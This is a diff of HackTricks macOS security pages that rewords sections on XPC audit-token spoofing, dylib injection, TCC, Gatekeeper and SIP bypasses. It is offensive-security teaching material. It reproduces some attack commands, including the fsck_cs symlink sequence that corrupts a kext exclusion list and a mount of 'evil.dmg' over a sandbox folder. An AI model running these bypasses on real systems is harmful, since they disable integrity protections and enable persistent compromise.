We spent a long time trying to find other instances, but the conditions made it difficult to search for either statically or dynamically. To search for asynchronous calls to `xpc_connection_get_audit_token`, we used Frida to hook on this function to check if the backtrace includes `_xpc_connection_mach_event` (which means it’s not called from an event handler). But this only finds calls in the process we have currently hooked and from the actions that are actively used. Analysing all reachable mach services in IDA/Ghidra was very time intensive, especially when calls involved the dyld shared cache. We tried scripting this to look for calls to `xpc_connection_get_audit_token` reachable from a block submitted using `dispatch_async`, but parsing blocks and calls passing into the dyld shared cache made this difficult too. After spending a while on this, we decided it would be better to submit what we had.
|
||||
- **Difficulties in Locating Instances**: Searching for instances of `xpc_connection_get_audit_token` usage was challenging, both statically and dynamically.
|
||||
- **Methodology**: Frida was employed to hook the `xpc_connection_get_audit_token` function, filtering calls not originating from event handlers. However, this method was limited to the hooked process and required active usage.
|
||||
- **Analysis Tooling**: Tools like IDA/Ghidra were used for examining reachable mach services, but the process was time-consuming, complicated by calls involving the dyld shared cache.
|
||||
- **Scripting Limitations**: Attempts to script the analysis for calls to `xpc_connection_get_audit_token` from `dispatch_async` blocks were hindered by complexities in parsing blocks and interactions with the dyld shared cache.
|
||||
|
||||
## The fix <a href="#the-fix" id="the-fix"></a>
|
||||
|
||||
In the end, we reported the general issue and the specific issue in `smd`. Apple fixed it only in `smd` by replacing the call to `xpc_connection_get_audit_token` with `xpc_dictionary_get_audit_token`.
|
||||
|
||||
The function `xpc_dictionary_get_audit_token` copies the audit token from the mach message on which this XPC message was received, meaning it is not vulnerable. However, just like `xpc_dictionary_get_audit_token`, this is not part of the public API. For the higher level `NSXPCConnection` API, no clear method exists to get the audit token of the current message, as this abstracts away all messages into method calls.
|
||||
|
||||
It is unclear to us why Apple didn’t apply a more general fix, for example dropping messages that don’t match the saved audit token of the connection. There may be scenarios where the audit token of a process legitimately changes but the connection should stay open (for example, calling `setuid` changes the UID field), but changes like a different PID or PID version are unlikely to be intended.
|
||||
|
||||
In any case, this issue still remains with iOS 17 and macOS 14, so if you want to go and look for it, good luck!
|
||||
|
||||
# References
|
||||
* For further information check the original post: [https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/)
|
||||
- **Reported Issues**: A report was submitted to Apple detailing the general and specific issues found within `smd`.
|
||||
- **Apple's Response**: Apple addressed the issue in `smd` by substituting `xpc_connection_get_audit_token` with `xpc_dictionary_get_audit_token`.
|
||||
- **Nature of the Fix**: The `xpc_dictionary_get_audit_token` function is considered secure as it retrieves the audit token directly from the mach message tied to the received XPC message. However, it's not part of the public API, similar to `xpc_connection_get_audit_token`.
|
||||
- **Absence of a Broader Fix**: It remains unclear why Apple didn't implement a more comprehensive fix, such as discarding messages not aligning with the saved audit token of the connection. The possibility of legitimate audit token changes in certain scenarios (e.g., `setuid` usage) might be a factor.
|
||||
- **Current Status**: The issue persists in iOS 17 and macOS 14, posing a challenge for those seeking to identify and understand it.
|
||||
|
||||
<details>
|
||||
|
||||
|
|
|
@ -20,9 +20,7 @@ The code of **dyld is open source** and can be found in [https://opensource.appl
|
|||
|
||||
## **DYLD\_INSERT\_LIBRARIES**
|
||||
|
||||
> This is a colon separated **list of dynamic libraries** to l**oad before the ones specified in the program**. This lets you test new modules of existing dynamic shared libraries that are used in flat-namespace images by loading a temporary dynamic shared library with just the new modules. Note that this has no effect on images built a two-level namespace images using a dynamic shared library unless DYLD\_FORCE\_FLAT\_NAMESPACE is also used.
|
||||
|
||||
This is like the [**LD\_PRELOAD on Linux**](../../../../linux-hardening/privilege-escalation#ld\_preload).
|
||||
This is like the [**LD\_PRELOAD on Linux**](../../../../linux-hardening/privilege-escalation#ld\_preload). It allows to indicate a process that is going to be run to load a specific library from a path (if the env var is enabled)
|
||||
|
||||
This technique may be also **used as an ASEP technique** as every application installed has a plist called "Info.plist" that allows for the **assigning of environmental variables** using a key called `LSEnvironmental`.
|
||||
|
||||
|
@ -68,7 +66,7 @@ Find a example on how to (ab)use this and check the restrictions in:
|
|||
Remember that **previous Library Validation restrictions also apply** to perform Dylib hijacking attacks.
|
||||
{% endhint %}
|
||||
|
||||
As in Windows, in MacOS you can also **hijack dylibs** to make **applications** **execute** **arbitrary** **code**.\
|
||||
As in Windows, in MacOS you can also **hijack dylibs** to make **applications** **execute** **arbitrary** **code** (well, actually froma regular user this coul not be possible as you might need a TCC permission towrite inside an `.app` bundle and hijack a library).\
|
||||
However, the way **MacOS** applications **load** libraries is **more restricted** than in Windows. This implies that **malware** developers can still use this technique for **stealth**, but the probably to be able to **abuse this to escalate privileges is much lower**.
|
||||
|
||||
First of all, is **more common** to find that **MacOS binaries indicates the full path** to the libraries to load. And second, **MacOS never search** in the folders of the **$PATH** for libraries.
|
||||
|
@ -351,6 +349,9 @@ csops -status <pid>
|
|||
and then check if the flag 0x800 is enabled.
|
||||
{% endhint %}
|
||||
|
||||
# References
|
||||
* [https://theevilbit.github.io/posts/dyld_insert_libraries_dylib_injection_in_macos_osx_deep_dive/](https://theevilbit.github.io/posts/dyld_insert_libraries_dylib_injection_in_macos_osx_deep_dive/)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
|
|
@ -98,7 +98,7 @@ dns-sd -B _http._tcp
|
|||
|
||||
When a service starts, it announces its availability to all devices on the subnet by multicasting its presence. Devices interested in these services don't need to send requests but simply listen for these announcements.
|
||||
|
||||
For a more user-friendly interface, the ****Discovery - DNS-SD Browser** app available on the Apple App Store can visualize the services offered on your local network.
|
||||
For a more user-friendly interface, the **Discovery - DNS-SD Browser** app available on the Apple App Store can visualize the services offered on your local network.
|
||||
|
||||
Alternatively, custom scripts can be written to browse and discover services using the `python-zeroconf` library. The [**python-zeroconf**](https://github.com/jstasiak/python-zeroconf) script demonstrates creating a service browser for `_http._tcp.local.` services, printing added or removed services:
|
||||
|
||||
|
|
|
@ -42,7 +42,7 @@ MacOS Sandbox **limits applications** running inside the sandbox to the **allowe
|
|||
|
||||
### TCC - **Transparency, Consent, and Control**
|
||||
|
||||
**TCC (Transparency, Consent, and Control)** is a mechanism in macOS to **limit and control application access to certain features**, usually from a privacy perspective. This can include things such as location services, contacts, photos, microphone, camera, accessibility, full disk access, and a bunch more.
|
||||
**TCC (Transparency, Consent, and Control)** is a security framework. It's designed to **manage the permissions** of applications, specifically by regulating their access to sensitive features. This includes elements like **location services, contacts, photos, microphone, camera, accessibility, and full disk access**. TCC ensures that apps can only access these features after obtaining explicit user consent, thereby bolstering privacy and control over personal data.
|
||||
|
||||
{% content-ref url="macos-tcc/" %}
|
||||
[macos-tcc](macos-tcc/)
|
||||
|
|
|
@ -7,7 +7,7 @@
|
|||
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud)
|
||||
*
|
||||
* .
|
||||
|
@ -349,7 +349,7 @@ Any way to bypass Gatekeeper (manage to make the user download something and exe
|
|||
|
||||
### [CVE-2021-1810](https://labs.withsecure.com/publications/the-discovery-of-cve-2021-1810)
|
||||
|
||||
When extracted by **Archive Utility**, file **paths longer than 886** characters would fail to inherit the com.apple.quarantine extended attribute, making it possible to **bypass Gatekeeper for those files**.
|
||||
It was observed that if the **Archive Utility** is used for extraction, files with **paths exceeding 886 characters** do not receive the com.apple.quarantine extended attribute. This situation inadvertently allows those files to **circumvent Gatekeeper's** security checks.
|
||||
|
||||
Check the [**original report**](https://labs.withsecure.com/publications/the-discovery-of-cve-2021-1810) for more information.
|
||||
|
||||
|
|
|
@ -7,7 +7,7 @@
|
|||
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud)
|
||||
*
|
||||
* .
|
||||
|
@ -172,7 +172,13 @@ However, they **don't mitigate common XPC** abuses, **Electron** code injections
|
|||
|
||||
### XPC Daemon Protection
|
||||
|
||||
At the time of this writing (Sonoma release) the **responsible process** for the daemon XPC service **is the XPC service itself** instead of the connecting client. (Submitted FB: FB13206884). Assuming for a second that it’s a bug, we still **won’t be able to launch the XPC service in our attacker code**, but if it’s **active already** (maybe because it was invoked by the original app), there is nothing preventing us from **connecting to it**. So while setting the constraint might be a good idea, and would **limit the attack timeframe**, it doesn’t solve the main issue, and our XPC service should still properly validate the connecting client. That is still the only way to secure it. Also as mentioned in the beginning it doesn’t even work this way now.
|
||||
In the Sonoma release, a notable point is the daemon XPC service's **responsibility configuration**. The XPC service is accountable for itself, as opposed to the connecting client being responsible. This is documented in the feedback report FB13206884. This setup might seem flawed, as it allows certain interactions with the XPC service:
|
||||
|
||||
- **Launching the XPC Service**: If assumed to be a bug, this setup does not permit initiating the XPC service through attacker code.
|
||||
- **Connecting to an Active Service**: If the XPC service is already running (possibly activated by its original application), there are no barriers to connecting to it.
|
||||
|
||||
While implementing constraints on the XPC service might be beneficial by **narrowing the window for potential attacks**, it doesn't address the primary concern. Ensuring the security of the XPC service fundamentally requires **validating the connecting client effectively**. This remains the sole method to fortify the service's security. Also, it's worth noting that the mentioned responsibility configuration is currently operational, which might not align with the intended design.
|
||||
|
||||
|
||||
### Electron Protection
|
||||
|
||||
|
@ -192,7 +198,7 @@ Even if it's required that the application has to be **opened by LaunchService**
|
|||
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud)
|
||||
*
|
||||
* .
|
||||
|
|
|
@ -242,7 +242,7 @@ The default profile is called **container** and we don't have the SBPL text repr
|
|||
|
||||
### Debug & Bypass Sandbox
|
||||
|
||||
**Processes are not born sandboxed on macOS: unlike iOS**, where the sandbox is applied by the kernel before the first instruction of a program executes, on macOS **a process must elect to place itself into the sandbox.**
|
||||
On macOS, unlike iOS where processes are sandboxed from the start by the kernel, **processes must opt-in to the sandbox themselves**. This means on macOS, a process is not restricted by the sandbox until it actively decides to enter it.
|
||||
|
||||
Processes are automatically Sandboxed from userland when they start if they have the entitlement: `com.apple.security.app-sandbox`. For a detailed explanation of this process check:
|
||||
|
||||
|
|
|
@ -16,16 +16,16 @@ Other ways to support HackTricks:
|
|||
|
||||
## **Basic Information**
|
||||
|
||||
**System Integrity Protection (SIP)** is a security technology in macOS that safeguards certain system directories from unauthorized access, even for the root user. It prevents modifications to these directories, including creation, alteration, or deletion of files. The main directories that SIP protects are:
|
||||
**System Integrity Protection (SIP)** in macOS is a mechanism designed to prevent even the most privileged users from making unauthorized changes to key system folders. This feature plays a crucial role in maintaining the integrity of the system by restricting actions like adding, modifying, or deleting files in protected areas. The primary folders shielded by SIP include:
|
||||
|
||||
* **/System**
|
||||
* **/bin**
|
||||
* **/sbin**
|
||||
* **/usr**
|
||||
|
||||
The protection rules for these directories and their subdirectories are specified in the **`/System/Library/Sandbox/rootless.conf`** file. In this file, paths starting with an asterisk (\*) represent exceptions to SIP's restrictions.
|
||||
The rules that govern SIP's behavior are defined in the configuration file located at **`/System/Library/Sandbox/rootless.conf`**. Within this file, paths that are prefixed with an asterisk (*) are denoted as exceptions to the otherwise stringent SIP restrictions.
|
||||
|
||||
For instance, the following configuration:
|
||||
Consider the example below:
|
||||
|
||||
```javascript
|
||||
/usr
|
||||
|
@ -34,7 +34,7 @@ For instance, the following configuration:
|
|||
* /usr/share/man
|
||||
```
|
||||
|
||||
indicates that the **`/usr`** directory is generally protected by SIP. However, modifications are allowed in the three subdirectories specified (`/usr/libexec/cups`, `/usr/local`, and `/usr/share/man`), as they are listed with a leading asterisk (\*).
|
||||
This snippet implies that while SIP generally secures the **`/usr`** directory, there are specific subdirectories (`/usr/libexec/cups`, `/usr/local`, and `/usr/share/man`) where modifications are permissible, as indicated by the asterisk (*) preceding their paths.
|
||||
|
||||
To verify whether a directory or file is protected by SIP, you can use the **`ls -lOd`** command to check for the presence of the **`restricted`** or **`sunlnk`** flag. For example:
|
||||
|
||||
|
@ -89,18 +89,20 @@ csrutil enable --without debug
|
|||
|
||||
### Other Restrictions
|
||||
|
||||
SIP also imposes several other restrictions. For instance, it disallows the **loading of unsigned kernel extensions** (kexts) and prevents the **debugging** of macOS system processes. It also inhibits tools like dtrace from inspecting system processes.
|
||||
- **Disallows loading of unsigned kernel extensions** (kexts), ensuring only verified extensions interact with the system kernel.
|
||||
- **Prevents the debugging** of macOS system processes, safeguarding core system components from unauthorized access and modification.
|
||||
- **Inhibits tools** like dtrace from inspecting system processes, further protecting the integrity of the system's operation.
|
||||
|
||||
[More SIP info in this talk](https://www.slideshare.net/i0n1c/syscan360-stefan-esser-os-x-el-capitan-sinking-the-ship).
|
||||
**[Learn more about SIP info in this talk](https://www.slideshare.net/i0n1c/syscan360-stefan-esser-os-x-el-capitan-sinking-the-ship).**
|
||||
|
||||
## SIP Bypasses
|
||||
|
||||
If an attacker manages to bypass SIP this is what he will be able to do:
|
||||
Bypassing SIP enables an attacker to:
|
||||
|
||||
* Read mail, messages, Safari history... of all users
|
||||
* Grant permissions for webcam, microphone or anything (by directly writing over the SIP protected TCC database) - TCC bypass
|
||||
* Persistence: He could save a malware in a SIP protected location and not even toot will be able to delete it. Also he could tamper with MRT.
|
||||
* Easiness to load kernel extensions (still other hardcore protections in place for this).
|
||||
- **Access User Data**: Read sensitive user data like mail, messages, and Safari history from all user accounts.
|
||||
- **TCC Bypass**: Directly manipulate the TCC (Transparency, Consent, and Control) database to grant unauthorized access to the webcam, microphone, and other resources.
|
||||
- **Establish Persistence**: Place malware in SIP-protected locations, making it resistant to removal, even by root privileges. This also includes the potential to tamper with the Malware Removal Tool (MRT).
|
||||
- **Load Kernel Extensions**: Although there are additional safeguards, bypassing SIP simplifies the process of loading unsigned kernel extensions.
|
||||
|
||||
### Installer Packages
|
||||
|
||||
|
@ -132,20 +134,19 @@ In [**CVE-2022-22583**](https://perception-point.io/blog/technical-analysis-cve-
|
|||
|
||||
#### [fsck\_cs utility](https://www.theregister.com/2016/03/30/apple\_os\_x\_rootless/)
|
||||
|
||||
The bypass exploited the fact that **`fsck_cs`** would follow **symbolic links** and attempt to fix the filesystem presented to it.
|
||||
A vulnerability was identified where **`fsck_cs`** was misled into corrupting a crucial file, due to its ability to follow **symbolic links**. Specifically, attackers crafted a link from _`/dev/diskX`_ to the file `/System/Library/Extensions/AppleKextExcludeList.kext/Contents/Info.plist`. Executing **`fsck_cs`** on _`/dev/diskX`_ led to the corruption of `Info.plist`. This file's integrity is vital for the operating system's SIP (System Integrity Protection), which controls the loading of kernel extensions. Once corrupted, SIP's ability to manage kernel exclusions is compromised.
|
||||
|
||||
Therefore, an attacker could create a symbolic link pointing from _`/dev/diskX`_ to `/System/Library/Extensions/AppleKextExcludeList.kext/Contents/Info.plist` and invoke **`fsck_cs`** on the former. As the `Info.plist` file gets corrupted, the operating system could **no longer control kernel extension exclusions**, therefore bypassing SIP.
|
||||
The commands to exploit this vulnerability are:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
ln -s /System/Library/Extensions/AppleKextExcludeList.kext/Contents/Info.plist /dev/diskX
|
||||
fsck_cs /dev/diskX 1>&-
|
||||
touch /Library/Extensions/
|
||||
reboot
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
The aforementioned Info.plist file, now destroyed, is used by **SIP to whitelist some kernel extensions** and specifically **block** **others** from being loaded. It normally blacklists Apple's own kernel extension **`AppleHWAccess.kext`**, but with the configuration file destroyed, we can now load it and use it to read and write as we please from and to system RAM.
|
||||
The exploitation of this vulnerability has severe implications. The `Info.plist` file, normally responsible for managing permissions for kernel extensions, becomes ineffective. This includes the inability to blacklist certain extensions, such as `AppleHWAccess.kext`. Consequently, with the SIP's control mechanism out of order, this extension can be loaded, granting unauthorized read and write access to the system's RAM.
|
||||
|
||||
|
||||
#### [Mount over SIP protected folders](https://www.slideshare.net/i0n1c/syscan360-stefan-esser-os-x-el-capitan-sinking-the-ship)
|
||||
|
||||
|
@ -160,24 +161,18 @@ hdiutil attach -mountpoint /System/Library/Snadbox/ evil.dmg
|
|||
|
||||
#### [Upgrader bypass (2016)](https://objective-see.org/blog/blog\_0x14.html)
|
||||
|
||||
When executed, the upgrade/installer application (i.e. `Install macOS Sierra.app`) sets up the system to boot off an installer disk image (that is embedded within the downloaded application). This installer disk image contains the logic to upgrade the OS, for example from OS X El Capitan, to macOS Sierra.
|
||||
The system is set to boot from an embedded installer disk image within the `Install macOS Sierra.app` to upgrade the OS, utilizing the `bless` utility. The command used is as follows:
|
||||
|
||||
In order to boot the system off the upgrade/installer image (`InstallESD.dmg`), the `Install macOS Sierra.app` utilizes the **`bless`** utility (which inherits the entitlement `com.apple.rootless.install.heritable`):
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
/usr/sbin/bless -setBoot -folder /Volumes/Macintosh HD/macOS Install Data -bootefi /Volumes/Macintosh HD/macOS Install Data/boot.efi -options config="\macOS Install Data\com.apple.Boot" -label macOS Installer
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
Therefore, if an attacker can modify the upgrade image (`InstallESD.dmg`) before the system boots off it, he can bypass SIP.
|
||||
The security of this process can be compromised if an attacker alters the upgrade image (`InstallESD.dmg`) before booting. The strategy involves substituting a dynamic loader (dyld) with a malicious version (`libBaseIA.dylib`). This replacement results in the execution of the attacker's code when the installer is initiated.
|
||||
|
||||
The way to modify the image to infect it was to replace a dynamic loader (dyld) which will naively load and execute the malicious dylib in the context of the application. Like **`libBaseIA`** dylib. Therefore, whenever the installer application is started by the user (i.e. to upgrade the system) our malicious dylib (named libBaseIA.dylib) will also be loaded and executed in the installer as well.
|
||||
The attacker's code gains control during the upgrade process, exploiting the system's trust in the installer. The attack proceeds by altering the `InstallESD.dmg` image via method swizzling, particularly targeting the `extractBootBits` method. This allows the injection of malicious code before the disk image is employed.
|
||||
|
||||
Now 'inside' the installer application, we can control the this phase of the upgrade process. Since the installer will 'bless' the image, all we have to do is subvert the image, **`InstallESD.dmg`**, before it's used. It was possible to do this hooking the **`extractBootBits`** method with a method swizzling.\
|
||||
Having the malicious code executed right before the disk image is used, it's time to infect it.
|
||||
Moreover, within the `InstallESD.dmg`, there's a `BaseSystem.dmg`, which serves as the upgrade code's root file system. Injecting a dynamic library into this allows the malicious code to operate within a process capable of altering OS-level files, significantly increasing the potential for system compromise.
|
||||
|
||||
Inside `InstallESD.dmg` there is another embedded disk image `BaseSystem.dmg` which is the 'root file-system' of the upgrade code. It was posible to inject a dynamic library into the `BaseSystem.dmg` so the malicious code will be running within the context of a process that can modify OS-level files.
|
||||
|
||||
#### [systemmigrationd (2023)](https://www.youtube.com/watch?v=zxZesAN-TEk)
|
||||
|
||||
|
@ -189,7 +184,10 @@ In this talk from [**DEF CON 31**](https://www.youtube.com/watch?v=zxZesAN-TEk),
|
|||
The entitlement **`com.apple.rootless.install`** allows to bypass SIP
|
||||
{% endhint %}
|
||||
|
||||
From [**CVE-2022-26712**](https://jhftss.github.io/CVE-2022-26712-The-POC-For-SIP-Bypass-Is-Even-Tweetable/) The system XPC service `/System/Library/PrivateFrameworks/ShoveService.framework/Versions/A/XPCServices/SystemShoveService.xpc` has the entitlement **`com.apple.rootless.install`**, which grants the process permission to bypass SIP restrictions. It also **exposes a method to move files without any security check.**
|
||||
The entitlement `com.apple.rootless.install` is known to bypass System Integrity Protection (SIP) on macOS. This was notably mentioned in relation to [**CVE-2022-26712**](https://jhftss.github.io/CVE-2022-26712-The-POC-For-SIP-Bypass-Is-Even-Tweetable/).
|
||||
|
||||
In this specific case, the system XPC service located at `/System/Library/PrivateFrameworks/ShoveService.framework/Versions/A/XPCServices/SystemShoveService.xpc` possesses this entitlement. This allows the related process to circumvent SIP constraints. Furthermore, this service notably presents a method that permits the movement of files without enforcing any security measures.
|
||||
|
||||
|
||||
## Sealed System Snapshots
|
||||
|
||||
|
|
|
@ -16,11 +16,9 @@ Other ways to support HackTricks:
|
|||
|
||||
## **Basic Information**
|
||||
|
||||
**TCC (Transparency, Consent, and Control)** is a mechanism in macOS to **limit and control application access to certain features**, usually from a privacy perspective. This can include things such as location services, contacts, photos, microphone, camera, accessibility, full disk access, and a bunch more.
|
||||
**TCC (Transparency, Consent, and Control)** is a security protocol focusing on regulating application permissions. Its primary role is to safeguard sensitive features like **location services, contacts, photos, microphone, camera, accessibility, and full disk access**. By mandating explicit user consent before granting app access to these elements, TCC enhances privacy and user control over their data.
|
||||
|
||||
From a user’s perspective, they see TCC in action **when an application wants access to one of the features protected by TCC**. When this happens the **user is prompted** with a dialog asking them whether they want to allow access or not.
|
||||
|
||||
It's also possible to **grant apps access** to files by **explicit intents** from users for example when a user **drags\&drop a file into a program** (obviously the program should have access to it).
|
||||
Users encounter TCC when applications request access to protected features. This is visible through a prompt that allows users to **approve or deny access**. Furthermore, TCC accommodates direct user actions, such as **dragging and dropping files into an application**, to grant access to specific files, ensuring that applications have access only to what is explicitly permitted.
|
||||
|
||||
![An example of a TCC prompt](https://rainforest.engineering/images/posts/macos-tcc/tcc-prompt.png?1620047855)
|
||||
|
||||
|
|
|
@ -7,7 +7,7 @@
|
|||
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
@ -90,7 +90,7 @@ There are specialized tools and scripts designed to test and bypass authenticati
|
|||
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -7,7 +7,7 @@
|
|||
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
@ -249,7 +249,7 @@ If you are interested in **hacking career** and hack the unhackable - **we are h
|
|||
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
